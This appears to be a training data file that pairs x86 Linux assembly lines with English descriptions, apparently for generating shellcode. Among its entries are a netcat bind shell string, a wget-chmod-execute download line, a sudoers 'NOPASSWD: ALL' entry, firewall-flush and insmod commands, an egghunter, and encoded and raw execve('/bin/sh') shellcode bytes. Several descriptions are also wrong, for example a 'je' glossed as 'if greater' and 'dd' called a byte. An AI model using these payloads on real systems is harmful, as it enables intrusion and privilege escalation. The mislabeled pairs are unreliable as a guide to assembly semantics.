the contents of the edx register is equal to the contents of the ebx register cmp edx, ebx \n je 0x8 \n if the contents of the edx register is equal to the contents of the ebx register then jump to the memory address 0x8 cmp edx, ebx \n je 0x8 \n mov ebx, edx jump to the memory address 0x8 if the contents of the edx register is equal to the contents of the ebx register else move the contents of the edx register into the ebx register cmp edx, ebx \n je 0x8 \n mov ebx, edx if the contents of the edx register is equal to the contents of the ebx register then jump to the memory address 0x8 else move the contents of the edx register into the ebx register cmp esi, 10 compare if esi is equal to 10 cmp esi, edx \n je find_egg jump to the find_egg label if the contents of the esi register is equal to the contents of the edx register cmp word [ecx], 0x5951 compare the word at the address ecx and 0x5951 code: define the code label connect: define connect function cont: define the cont label contents db 'hello world!', 0h define a string db and initialize to 'hello world!' createfile: declare the createfile label createfile: define createfile function cycle: declare the cycle label cycle: define cycle label data: declare the data label db ',ajm,pk#########' define the byte string ',ajm,pk#########' db '/bin/sh' define a byte string and initialize it to '/bin/sh' db '/bin/sh#sh#' define the byte string '/bin/sh#sh#' db '/proc/sys/kernel/randomize_va_spacex' define the byte string '/proc/sys/kernel/randomize_va_spacex' db '/sbin/insmod#/tmp/o.o' define the byte string '/sbin/insmod#/tmp/o.o' db '/sbin/ipchains#-f#' define the byte string '/sbin/ipchains#-f#' db '/sbin/iptables#-f#' define the byte string '/sbin/iptables#-f#' db '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd' define the byte string '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd' db '0',10 define the byte string '0',10 db 'my.txtx' define the byte string 'my.txtx' db '/bin/sh' define the byte string '/bin/sh' db '/etc/passwd#' define the byte string '/etc/passwd#' db 'all all=(all) nopasswd: all', 0xa define the byte string 'all all=(all) nopasswd: all' db 'cp /bin/sh /tmp/sh' define the byte string 'cp /bin/sh /tmp/sh' db 'egg mark' define the byte string 'egg mark' db 'egg mark' initialize a string to 'egg mark' db 'rm -f /tmp/f' define the byte string 'rm -f /tmp/f' db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b define an array of bytes and initialize it to 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b db 0x68 declare a byte contining 0x68 db 0x68 declare a byte with no label containing the value 0x68 db 0x80 declare a byte and initialize it to 0x80 db 0x80 declare an unlabeled byte initialized to 0x80 db 0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d define an array of bytes and initialize it to 0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d db 0xcd define a byte and initialize it to 0xcd db 0xcd define the byte 0xcd db 10 declare a byte with no label containing the value 10 db 10 declare an unlabeled byte initialized to 10 dd 0xdeadbeef define a byte and initialize it to 0xdeadbeef dec byte dl decrement the byte at the address dl by one dec byte dl decrement the byte in dl dec cl decrement the cl register by one dec cl decrement the contents of cl dec cl decrement the contents of the cl register dec cl \n jns dup2 decrement the contents of the cl register and jump to the dup2 label if the result is not negative dec cl \n jns loop_dup decrement the contents of the cl register and jump to the loop_dup label if the result is not negative dec cl \n jns loopinghere decrement the contents of the cl register and jump to the loopinghere label if the result is not negative dec dl decrement the dl register by one dec eax decrement eax dec eax decrement the contents of the eax register dec eax decrement the eax register by one dec eax subtract one from the contents of eax dec ebp decrement ebp dec ebx decrement ebx dec ebx decrement the ebx register by one dec ebx subtract one from the contents of ebx dec ecx decrement ecx dec ecx decrement ecx by 1 dec ecx decrement the contents of the ecx register dec ecx decrement the ecx register by one dec ecx \n jns _dup2_loop decrement the contents of the ecx register and jump to the _dup2_loop label if the result is not negative dec ecx \n jns 2f_loop decrement the contents of the ecx register and jump to the 2f_loop label if the result is not negative dec ecx \n jns dup2 decrement the contents of the ecx register and jump to the dup2 label if the result is not negative dec ecx \n jns dup2loop decrement the contents of the ecx register and jump to the dup2loop label if the result is not negative dec ecx \n jns dup2loop decrement ecx by 1 and jump to the dup2loop procedure until ecx equals 0 dec ecx \n jns duploop decrement the contents of the ecx register and jump to the duploop label if the result is not negative dec ecx \n jns loop decrement the contents of the ecx register and jump to the loop label if the result is not negative dec ecx \n jns loop2 decrement the contents of the ecx register and jump to the loop2 label if the result is not negative dec ecx \n jz counter_is_now_zero decrement the contents of the ecx register and jump to the counter_is_now_zero label if the result is zero dec edx decrement edx dec edx decrement the edx register by one dec esp decrement esp dec esp decrement the esp register by one decode_pr: define decode_pr label decode: declare the decode label decode: define decode function decode: define decode label decoded_shellcode: define decoded_shellcode function decoder: declare the decoder function decoder: declare the decoder label decoder: define decoder function decoder: define decoder label decrypt: declare the decrypt label dim: equ 25 declare a constant size and set equal to 25 dim: equ 512 define dim to be 512 bytes large div dword [value] divide the contents of eax by the word value stored at memory location value div dword [var] divide the contents of in eax by by the word value stored at memory location var div ebx divide eax by ebx div ebx divide the contents of eax by the contents of ebx div ecx divide eax by ecx div ecx divide eax by ecx the result of the division is stored in eax and the remainder in edx div edx divide eax by value in edx div esi divide eax by esi do_dup: declare the do_dup label do_dup: define do_dup label doit: declare the doit label done: declare the done label download: declare the download label download: define download function dup2: declare the dup2 label dup2: define dup2 function dup2loop: delcare the dup2loop label duploop: declare the duploop label duploop: define duploop function egg equ 'egg ' define egg equal to 'egg ' egg1 equ 'mark' define egg1 equal to 'mark' egghunter: declare the egghunter label enc: declare the enc label encodedshellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce define the array of bytes encodedshellcode and initialize it to 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce encodedshellcode: db 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3 define the array of bytes encodedshellcode and initialize it to 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3 encrypt: declare the encrypt label end: declare the end label entrypoint: declare the entrypoint label even_number: define even_number function execfile: declare the execfile label execfile: define execfile function execute: declare the execute label exit_call equ 1 define exit_call equal to 1 exit_on_error: declare the exit_on_error label exit: declare the exit label exit: define exit function exit: define the exit label file: db '/sbin/iptables#-f' define file as the byte string '/sbin/iptables#-f' fileaddress: declare the fileaddress label filecontents: resb 128 reserve filecontents variable of 128 bytes filename: db 'readme.txt', 0h create a string filename and initialize to 'readme.txt' filename: resb 255 reserve a variable filename of 255 bytes fill: declare the fill label fill: define fill label find_egg: declare the find_egg label find_egg: define find_egg function format: declare the format label format: define format label formatting: declare the formatting label formatting: define formatting label four: declare the four label fupdisasm: define fupdisasm function fupdisasm: define fupdisasm label get: declare the get label global _shell declare _shell as global label global _star declare of the global _star global _start declare _start as global label global _start declare global _start global _start global _start global _start: declare the global _start label google db '127.1.1.1 google.com' define google as the byte string '127.1.1.1 google.com' google: db '127.1.1.1 google.com' define the byte string google and initialize it to '127.1.1.1 google.com' gotocall: declare the gotocall label hello: db 'hello world!',10 create a string 'hello world!' plus a linefeed character hellolen: equ $-hello define hellolen equal to the length of the hello string here: declare the here label here: define here label inc [count] increment the count variable inc al increment the contents of the al register inc ax add 1 to ax inc ax increment ax inc ax increment the contents of the ax register inc bl increment the contents of the bl register inc bx increment bx inc bx increment the contents of the bx register inc byte [esp+ecx] increment the byte at the address [esp+ecx] by one inc cl increment the contents of the cl register inc count increment the memory variable count inc dl increment dl inc dl increment dl register inc dl increment the contents of the dl register inc dword [tmp] add one to the doubleword integer stored at memory location tmp inc dword [value] add one to the doubleword integer stored at memory location value inc dword [var] add one to the doubleword integer stored at location var inc dx increment the contents of the dx register inc eax increment eax inc eax increment the address in eax by one byte inc eax increment the contents of the eax register inc ebx increment ebx inc ebx increment ebx register inc ebx increment the contents of the ebx register inc ecx increment ecx inc ecx increment the contents of the ecx register inc edi increment edi inc edi increment the contents of the edi register inc edx increment edx inc edx increment the contents of the edx register inc esi increment esi inc esi increment the contents of the esi register inc esp increment the contents of the esp register inc_dec: declare inc_dec function incaddr: declare the incaddr label incpage: declare incpage function init: declare the init label int 0x80 call kernel int 0x80 execute execve syscall int 0x80 execute execve with system call interrupt int 0x80 execute exit syscall int 0x80 execute the reboot syscall int 0x80 make the kernel call int 0x80 make the system call int 0x80 make the system call to the kernel int 0x80 system call interrupt int 0x80 system call interrupt 0x80 int 80h call sys_read int 80h call sys_read to fill the buffer int 80h call sys_write int 80h call the kernel int 80h make kernel call to display line string int 80h make kernel call to exit program int 80h make sys_exit kernel call int 80h make sys_write kernel call int 80h make syscall to output the text to stdout int 80h make syscall to terminate the program int 80h make the syscall to terminate the program int 80h make the system calls to the kernel ja exi jump to exi if greater ja exit jump to the exit label if the destination operand is greater than the source operand in the above comparison ja next jump to next label if the destination is greater than the source in the above comparison ja write jump to write if greater jb 0xf3 perform an unsigned comparison and jump to 0xf3 if lower jb modtest jump to label modtest if below jb next jump to label next if below jb write jump to label write if below jbe done jump to label done if below or equal je all jump to the all label if the operands of the above comparison are equals je connec jump to connect if equal je connect jump to the connect label if the operands of the above comparison are equals je continue if equal jump to label continue je continue jump to label continue if equal je done jump to label done if equal je even_number jump to even_numer if greater je exit jump to label exit if equal to 0 je exit jump to the exit label if the operands of the above comparison are equals je l7 if equal then jump to label l7 je short encodedshellcode jump short to encodedshellcode if equal je short loc_402b13 jump to loc_402b13 if equal je stop jump to label stop if equal jeq loop jump to the code location labeled loop if the operands of the previous comparison are equal jg finished jump if greater than to label finished jl _while_loop jump to the _while_loop if lower jl _while_loop jump to the _while_loop label if the destination operand is less than the source operand in the above comparison jl finished jump if less than to label finished jl wrap_around jump to the wrap_around label if the destination operand is less than the source operand in the above comparison jle lp1 if it is less than or equal to 10 then jump to lp1 jmp _accept jump to label _accept jmp _read jump to _read jmp _return jump to the _return label jmp _star jump to _star jmp _start jump to the _start label jmp _while_loop jump to the _while_loop label jmp aslr_file jump to the aslr_file label jmp begin jump to the instruction labeled begin jmp call_egghunter jump to the call_egghunter label jmp callpop jump to callpop jmp callpop jump to the callpop label jmp callz jump to the callz label jmp carryon jump to the carryon label jmp connec jump to connec jmp data jump to the data label jmp eax jump to eax jmp eax jump to the value stored in the eax register jmp ecx jump to ecx jmp edi jump to edi jmp edi jump to the edi label jmp edx jump to edx jmp encrypt jump to the encrypt label jmp entrypoint jump to the entrypoint label jmp esp jump to the esp label jmp fupdisasm+1 jump to fupdisasm+1 jmp fupdisasm+1 jump to the address specified by the operation fupdisasm+1 jmp fupdisasm+3 jump to the address specified by the operation fupdisasm+3 jmp jocker jump to the jocker label jmp l20 jump to label l20 jmp loop jump to the label loop jmp multiplyloop jump to label multiplyloop jmp nextarg jump to nextarg label jmp nextchar jump to the point in the code labeled nextchar jmp one jump to the one label jmp read jump to label read jmp read jump to the label read jmp read jump to the read label jmp reading jump to the reading label jmp shell jump to the shell label jmp shellcode jump to shellcode jmp shellcode jump to the shellcode label jmp short _cmd jump short to the _cmd label jmp short _execline jump short to the _execline label jmp short _file jump short to the _file label jmp short _load_data jump short to _load_data label jmp short _load_data jump short to the _load_data label jmp short _star jump short to _star label jmp short _start jump short to the _start label jmp short .exit jump short to the .exit label jmp short 0x11 jump short to 0x11 jmp short 0x2c jump short to 0x2c jmp short 0x34 jump short to 0x34 jmp short 0x63 jump short to 0x63 jmp short call_decoder jump short to call_decoder jmp short call_decoder jump short to the call_decoder label jmp short call_shellcode jump short to call_shellcode jmp short call_shellcode jump short to the call_shellcode label jmp short call_write jump short to the call_write label jmp short callit jump short to the callit label jmp short callme jump short to the callme label jmp short cmd jump short to the cmd label jmp short cycle jump short to cycle label jmp short cycle jump short to the cycle label jmp short decode jump short to decode jmp short decode jump short to the decode label jmp short decode_pr jump short to the decode_pr label jmp short enc jump short to the enc label jmp short end jump short to the end label jmp short exi jump short to exi label jmp short fileaddress jump short to the fileaddress label jmp short formatting jump short to the formatting label jmp short four jump short to the four label jmp short get jump short to the get label jmp short gotocall jump short to the gotocall label jmp short here jump short to the here label jmp short inc_dec jump short to inc_dec jmp short main jump short to the main label jmp short output jump short to the output label jmp short path jump short to the path label jmp short process_shellcode jump short to the process_shellcode label jmp short push_cmd jump short to push_cmd jmp short push_cmd jump short to the push_cmd label jmp short read jump short to the read label jmp short rotate jump short to the rotate label jmp short search jump short to the search label jmp short setup jump short to the setup label jmp short shellcode jump short to shellcode jmp short shellcode jump short to the shellcode label jmp short stage jump short to stage jmp short stage jump short to the stage label jmp short three jump short to the three label jmp short todo jump short to the todo label jmp short two jump short to the two label jmp two jump to the two label jmp two jump to two jmp_search: define the jmp_search label jnc 0x86 jump to 0x86 if the carry flag is zero jnc 0xd8 jump to 0xd8 it the carry flag is zero jne _nex if not equal jump to the _nex label jne _next jump to the _next label if the operands of the above comparison are not equals jne 804809a jump to 804809a if not equal jne 80480aa jump to 80480aa if not equal jne checkbuzz if the remainder is not equal to zero jump to local label checkbuzz jne checkint if the remainder is not equal to zero jump to local label checkint jne loop jump to the address specified by the label loop if the operands are not equals in the previous comparison jne next_addr jump to the next_addr label if the operands of the above comparison are not equals jne nextnumber if not equal jump to the label nextnumber jne no_error jump to the label no_error if not equal jne retry jump to retry if not equal jne short _while_loop if not equal jump short to the _while_loop jne short _while_loop jump to the _while_loop label if the operands of the above comparison are not equals jns _dup2_loop jump to the _dup2_loop label if the previous instruction clears the sign flag jns 2f jump to 2f if the sign flag is zero jns 3f jump to 3f if the sign flag is zero jns decode_pr jump to decode_pr if not signed jns dup2 jump to dup2 if not negative jns dup2 jump to the dup2 label if the previous instruction clears the sign flag jns duploop jump to duploop if not negative jns duploop jump to the duploop label if the previous instruction clears the sign flag jns loop jump to the loop label if the previous instruction clears the sign flag jns loopinghere jump to the loopinghere label if the previous instruction clears the sign flag jnz _start jump to the _start label if the zero flag is cleared jnz 0x41 jump to 0x41 if not zero jnz 0x8 jump to 0x8 if not zero jnz 1 if not zero jump to numeric label 1 jnz 1 jump to the numeric label 1 if the zero flag is cleared jnz decode jump to the decode label if the zero flag is cleared jnz exeunt jump to exeunt if not zero jnz exit_on_error jump to the exit_on_error label if the zero flag is cleared jnz incaddr increment address if no match jnz incaddr jump to incaddr if no match jnz l00p jump to the l00p label if the zero flag is cleared jnz loop jump to loop if not equal to zero jnz loop jump to the loop label if the zero flag is cleared jnz next_addr jump to next_addr if not zero jnz next_cycle if not zero jump to the next_cycle label jnz next_cycle jump to the next_cycle label if the zero flag is cleared jnz scan if not 0 then jump to the scan label jnz short _paren if not zero jump short to the _paren label jnz short _parent jump short to the _parent label if the zero flag is cleared jnz short decode jump short to decode if not zero jnz short decode jump short to the decode label if the zero flag is cleared jnz short loc_4010e5 if not zero jump to loc_4010e5 jnz stage jump to the stage label if the zero flag is cleared jnz top if not 0 then jump to the top label jocker: declare the jocker label js error jump to error label if sign flag SF is equal to 1 jz _close jump to the label _close if the zero flag is set jz _read jump to the label _read if the zero flag is set jz _start jump to the _start label if the zero flag is set jz 0x8 jump to 0x8 if zero jz call_decoded jump to the call_decoded label if the zero flag is set jz child if zero jump to the child label jz child jump to child if zero jz child jump to label child if the zero flag is set jz child jump to the child label if the zero flag is set jz decoded_shellcode jump to decoded if zero jz download jump to download if zero jz download jump to the download label if the zero flag is set jz encoded if zero jump to the encoded label jz encoded jump to the encoded label if the zero flag is set jz exit jump to the exit label if the zero flag is set jz find_egg jump to find_egg if zero jz find_egg jump to the find_egg label if the zero flag is set jz finished jump to the point in the code labeled finished if zero jz formatting if zero jump to the formatting label jz formatting jump to the formatting label if the zero flag is set jz incpage jump to incpage if equal jz next_cycle if zero jump to the next_cycle label jz next_cycle jump to the next_cycle label if the zero flag is set jz next_page jump to next_page if zero jz nomoreargs if zero flag is set jump to nomoreargs label jz shift_decode if zero jump to the shift_decode label jz shift_decode jump to the shift_decode label if the zero flag is set jz short loc_402b13 if 0 then jump to loc_402b13 key equ 0xdeadbeef define key constant equal to 0xdeadbeef l00p: declare the l00p label lea bx, [bp+0x08] load the effective address of the operation [bp+0x08] into the bx register lea bx, [bp+0x0b] load the effective address of the operation bp+0x0b] into the bx register lea cx, [bp+di+0x32] load the effective address of the operation [bp+di+0x32] into the cx register lea dx, [bp+di+0x3e] load the effective address of the operation [bp+di+0x3e] into the dx register lea eax, [ebx+0xf] load the effective address of the result of the operation [ebx+0xf] into the eax register lea eax, [ebx+17h] load the effective address of the result of the operation [ebx+17h] into the eax register lea eax, [ebx+8] put the address of ebx+8 into eax lea eax, [ecx+0bh] load the effective address of the result of the operation [ecx+0bh] into the eax register lea eax, [ecx+4] load the effective address of the result of the operation [ecx+4] into the eax register lea eax, [val] place the value val in eax lea eax, [var] place the address of var in eax lea eax, [var] place the value in var in eax lea eax, [zero_reg+3] load the effective address [zero_reg+3] into eax lea eax, [zero_reg+3] load the effective address of the result of the operation [zero_reg+3] into the eax register lea eax, [zero_reg+6] load the effective address [zero_reg+6] into eax lea eax, [zero_reg+6] load the effective address of the result of the operation [zero_reg+6] into the eax register lea eax, [zero_reg+66h] load the effective address [zero_reg+66h] into eax lea eax, [zero_reg+66h] load the effective address of the result of the operation [zero_reg+66h] into the eax register lea eax,[ebx+0xb] load the effective address of the operation [ebx+0xb] into the eax register lea ebp,[ebp+0x59] load the effective address of the operation [ebp+0x59] into the ebp register lea ebx, [ebp-8] load the effective address [ebp-8] into ebx lea ebx, [ebp-8] load the effective address of ebp-8 into the ebx register lea ebx, [ebp+24] load the effective address [ebp+24] into ebx lea ebx, [ebp+24] load the effective address of the result of the operation [ebp+24] into the ebx register lea ebx, [ebp+39] load the effective address [ebp+39] into ebx lea ebx, [ebp+39] load the effective address of the result of the operation [ebp+39] into the ebx register lea ebx, [edx+0x4] load the effective address of edx+0x4 into ebx lea ebx, [esi] load the effective address of esi into the ebx register lea ebx, [esi+13] load the effective address of the result of the operation [esi+13] into the ebx register lea ebx, [esi+14] load the effective address of the result of the operation [esi+14] into the ebx register lea ebx, [esi+15] load the effective address [esi+15] into ebx lea ebx, [esi+15] load the effective address of the result of the operation [esi+15] into the ebx register lea ebx, [esi+23] load the effective address of the result of the operation [esi+23] into the ebx register lea ebx, [esp +1] load the effective address [esp+1] into ebx lea ebx, [esp +1] load the effective address of the result of the operation [esp +1] into the ebx register lea ebx, [esp] load the effective address of esp into ebx lea ebx, [esp] load the effective address of esp into the ebx register lea ebx, [zero_reg+3] load the effective address [zero_reg+3] into ebx lea ebx, [zero_reg+3] load the effective address of the result of the operation [zero_reg+3] into the ebx register lea ecx, [eax] load the effective address of the result of the operation [eax] into the ecx register lea ecx, [ebp+28] load the effective address [ebp+28] into ecx lea ecx, [ebp+28] load the effective address of the result of the operation [ebp+28] into the ecx register lea ecx, [ebx+0xff] load the value of ebx+0xff into register ecx lea ecx, [ebx+8] load the effective address of ebx+8 into ecx lea ecx, [esi + 8] load the effective address of the result of the operation [esi + 8] into the ecx register lea ecx, [esi+18] load the effective address [esi+18] into ecx lea ecx, [esi+18] load the effective address of the result of the operation [esi+18] into the ecx register lea ecx, [esi+22] load the effective address of the result of the operation [esi+22] into the ecx register lea ecx, [esi+35] load the effective address of the result of the operation [esi+35] into the ecx register lea ecx, [esi+8] load the effective address of the result of the operation [esi+8] into the ecx register lea ecx, [esp] load the effective address of esp into the ecx register lea ecx, [zero_reg+117] load the effective address [zero_reg+117] into ecx lea ecx, [zero_reg+117] load the effective address of the result of the operation [zero_reg+117] into the ecx register lea ecx, [zero_reg+3] load the effective address [zero_reg+3] into ecx lea ecx, [zero_reg+3] load the effective address of the result of the operation [zero_reg+3] into the ecx register lea edi, [ebx] load the effective address [ebx] into edi lea edi, [ebx] load the effective address of ebx into the edi register lea edi, [ebx+4*esi] place the quantity ebx+4*esi in edi lea edi, [ebx+4*esi] place the value ebx+4*esi in edi lea edi, [esi + 13] load the effective address of the result of the operation [esi + 13] into the edi register lea edi, [esi +1] load the effective address of [esi + 1] into the edi register lea edi, [esi] load the effective address [esi] into edi lea edi, [esi+13] load the effective address of esi+13 into esi+13 lea edx, [ebx+12] load the effective address of ebx+12 into edx lea edx, [esi + 12] load the effective address of the result of the operation [esi + 12] into the edx register lea edx, [esi+26] load the effective address [esi+26] into edx lea edx, [esi+26] load the effective address of the result of the operation [esi+26] into the edx register lea edx, [esi+30] load the effective address of the result of the operation [esi+30] into the edx register lea edx, [esi+47] load the effective address of the result of the operation [esi+47] into the edx register lea esi, [ebp+20] load the effective address [ebp+20] into esi lea esi, [ebp+20] load the effective address of the result of the operation [ebp+20] into the esi register lea esi, [esi +4] load the effective address of the result of the operation [esi +4] into the esi register lea esi, [esi+4] load the effective address [esi+4] into esi lea esp, [ebx] load the value of register ebx into register esp len equ $ - msg define len equal to the length of msg len equ $-encodedshellcode define len equal to the lenght of the encodedshellcode array len: equ $-google declare the len label equal to the size of the google variable len: equ $-shellcode declare the len label equal to the length of shellcode letter_c db 'c' allocate a single byte of memory and initialize it to the letter 'c' line db '/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile', 0x0a define line as the byte string '/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile', 0x0a loader: declare the loader label loop .3 decrement the counter and jump to .3 label if the count is not zero loop 3 decrement ecx and jumps to the 3 label unless decrementing ecx caused its value to become zero loop bucle decrement the ecx register and jump to the bucle label if the counter is not zero loop check_even_odd decrement the count register and jump to check_even_odd if the count is not equal to zero loop check_even_odd \n jmp short shellcode decrement the ecx register and jump to the check_even_odd label if the contents of the ecx register is not zero else jump short to the shellcode label loop decode decrement ecx and jumps to the decode label unless decrementing ecx caused its value to become zero loop decode decrement the count register and jump to decode if not equal zero loop decode \n jmp edx decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the edx register loop decode \n jmp EncodedShellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the EncodedShellcode label loop decode \n jmp Shellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the Shellcode label loop decode \n jmp short shellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump short to the shellcode label loop decrypt decrement ecx and jumps to the decrypt label unless decrementing ecx caused its value to become zero loop decrypt \n jmp encrypt decrement the ecx register and jump to the decrypt label if the contents of the ecx register is not zero else jump short to the encrypt label loop do_dup decrement ecx and jumps to the do_dup label unless decrementing ecx caused its value to become zero loop do_dup decrement the counter and jump to the do_dup label if the count is not zero loop do_dup \n push byte 0x3f decrement the ecx register and jump to the do_dup label if the contents of the ecx register is not zero else push the byte 0x3f onto the stack loop eggLoop \n jmp edi decrement the ecx register and jump to the eggLoop label if the contents of the ecx register is not zero else jump to the edi register loop fill decrement ecx and jumps to the fill label unless decrementing ecx caused its value to become zero loop fill decrement the counter and jump to the fill label if the count is not zero loop fill \n mov ecx, esp decrement the ecx register and jump to the fill label if the contents of the ecx register is not zero else move the contents of the esp register into the ecx register loop l1 \n mov eax, esp decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else move the contents of the esp register into the eax register loop l1 \n mov eax, esp decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else point the eax register to the stack register loop l2 \n jmp edi decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else jump to the edi register loop l2 \n mov ebx, esp decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else move the contents of the esp register into the ebx register loop l2 \n mov ebx, esp decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else point the ebx register to the stack register loop l3 \n mov ecx, esp decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else move the contents of the esp register into the ecx register loop l3 \n mov ecx, esp decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else point the ecx register to the stack register loop l4 \n mov edx, esp decrement the ecx register and jump to the l4 label if the contents of the ecx register is not zero else move the contents of the esp register into the edx register loop l4 \n mov edx, esp decrement the ecx register and jump to the l4 label if the contents of the ecx register is not zero else point the edx register to the stack register loop main_inc decrement ecx and jumps to the main_inc label unless decrementing ecx caused its value to become zero loop main_inc \n mov ebx, esp decrement the ecx register and jump to the main_inc label if the contents of the ecx register is not zero else move the contents of the esp register into the ebx register loop main_inc \n mov ebx, esp decrement the ecx register and jump to the main_inc label if the contents of the ecx register is not zero else point the ebx register to the stack register loop main_loop decrement the counter and jump to the main_loop label if the count is not zero loop main_push decrement ecx and jumps to the main_push label unless decrementing ecx caused its value to become zero loop main_push \n mov cl, 30 decrement the ecx register and jump to the main_push label if the contents of the ecx register is not zero else move the value 30 into the cl register loop ROT_decode \n jmp short Shellcode decrement the ecx register and jump to the ROT_decode label if the contents of the ecx register is not zero else jump short to the Shellcode label loop up decrement ecx and jumps to the up label unless decrementing ecx caused its value to become zero loop: declare the loop label loop: define the loop label loopinghere: declare the loopinghere label loopnz decode decrement ecx and jumps to the decode label if the contens of ecx is not zero and the zero flag is set to zero loopnz L1 decrement the counter and jump to the L1 label if the count is not zero and the zero flag is equal to zero loopnz L1 \n jmp shellcode decrement the ecx register and jump to the L1 label if the contents of the ecx register is not zero and the zero flag is zero else jump to the shellcode label loopnz L2 decrement the counter and jump to the L2 label if the count is not zero and the zero flag is set to zero loopnz L2 \n push eax decrement the ecx register and jump to the L2 label if the contents of the ecx register is not zero and the zero flag is zero else push the contents of the eax register onto the stack loopnz L3 \n mov edx, 7 decrement the ecx register and jump to the L3 label if the contents of the ecx register is not zero and the zero flag is zero else move the value 7 into the edx register loopnz Label1 decrement ecx and jumps to the Label1 label if the contents of the ecx register is not zero and the zero flag is equal to zero loopnz next decrement ecx and jumps to the next label if ecx is not zero and the zero flag is equal to zero loopnz next \n jmp ecx decrement the ecx register and jump to the next label if the contents of the ecx register is not zero and the zero flag is zero else jump to the ecx register loopnz next2 \n jmp edi decrement the ecx register and jump to the next2 label if the contents of the ecx register is not zero and the zero flag is zero else jump to the edi register main_inc: create label main_inc main_inc: declare the main_inc label main_loop: define main_loop label main_push: create label main_push main_push: declare the main_push label main: create main label main: declare the main label main: define main label marks dw 0, 0, 0, 0 allocate memory for the marks array of words and initialize all elements to zero matrix qw 12*10 allocate memory for a 12*10 quad-bytes matrix me: declare the me label me: define me label message db '/bin/sh' define message byte and initialize it to '/bin/sh' message db 'hello',13,0 allocate memory for a null terminated string 'hello\n' message db '/bin/sh' define message as the byte string '/bin/sh' message db '/etc/passwd' define message as the byte string '/etc/passwd' message db '/etc/passwd' define the string message and initialize it to '/etc/passwd' message: db 'hello world!' declare message to contain the bytes 'hello world!' message: db 0xeb,0x25,0x5e,0x89,0xf7,0x31,0xc0,0x50,0x89,0xe2,0x50,0x83,0xc4,0x03,0x8d,0x76,0x04,0x33,0x06,0x50,0x31,0xc0,0x33,0x07,0x50,0x89,0xe3,0x31,0xc0,0x50,0x8d,0x3b,0x57,0x89,0xe1,0xb0,0x0b,0xcd,0x80,0xe8,0xd6,0xff,0xff,0xff,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68 define message as array of bytes and initialize it to 0xeb,0x25,0x5e,0x89,0xf7,0x31,0xc0,0x50,0x89,0xe2,0x50,0x83,0xc4,0x03,0x8d,0x76,0x04,0x33,0x06,0x50,0x31,0xc0,0x33,0x07,0x50,0x89,0xe3,0x31,0xc0,0x50,0x8d,0x3b,0x57,0x89,0xe1,0xb0,0x0b,0xcd,0x80,0xe8,0xd6,0xff,0xff,0xff,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68 mov [1000h], ax move the value of ax into memory at address 1000h mov [bp+0x07], al move the contents of the al register at the memory location specified by the operation [bp+0x07] mov [bp+0x0a], al move the contents of the al register at the memory location specified by the operation [bp+0x0a] mov [bp+0x31], al move the contents of the al register at the memory location specified by the operation [bp+0x31]] mov [bp+0x32], si move the contents of the si register at the memory location specified by the operation [bp+0x32] mov [bp+0x36], bx move the contents of the bx register at the memory location specified by the operation [bp+0x36] mov [bp+0x3a], bx move the contents of the bx register at the memory location specified by the operation [bp+0x3a] mov [bp+0x3e], ax move the contents of the ax register at the memory location specified by the operation [bp+0x3e] mov [ebp-4], edi move edi into the local memory address ebp-4 mov [ebp+12], ecx move ecx into the address [ebp+12] mov [ebp+12], ecx move the contents of ecx into the memory location specified by the operation [ebp+12] mov [ebp+20], zero_reg move the contents of zero_reg into the memory location specified by the operation [ebp+20] mov [ebp+20], zero_reg move zero_reg into the address [ebp+20] mov [ebp+22], word ax move the word at the address ax into [ebp+22] mov [ebp+22], word ax move the word in ax into the memory location specified by the operation [ebp+22] mov [ebp+var_a], eax move the contents of eax into address defined by ebp+var_a mov [ebx + 6], dl move dl into the address [ebx + 6] mov [ebx], 110 move 110 into the effective address saved in ebx mov [ebx], 123 move 123 into the effective address saved in ebx mov [ebx+0xe], dl move dl into the address [ebx+0xe] mov [ebx+12], eax move eax into ebx+12 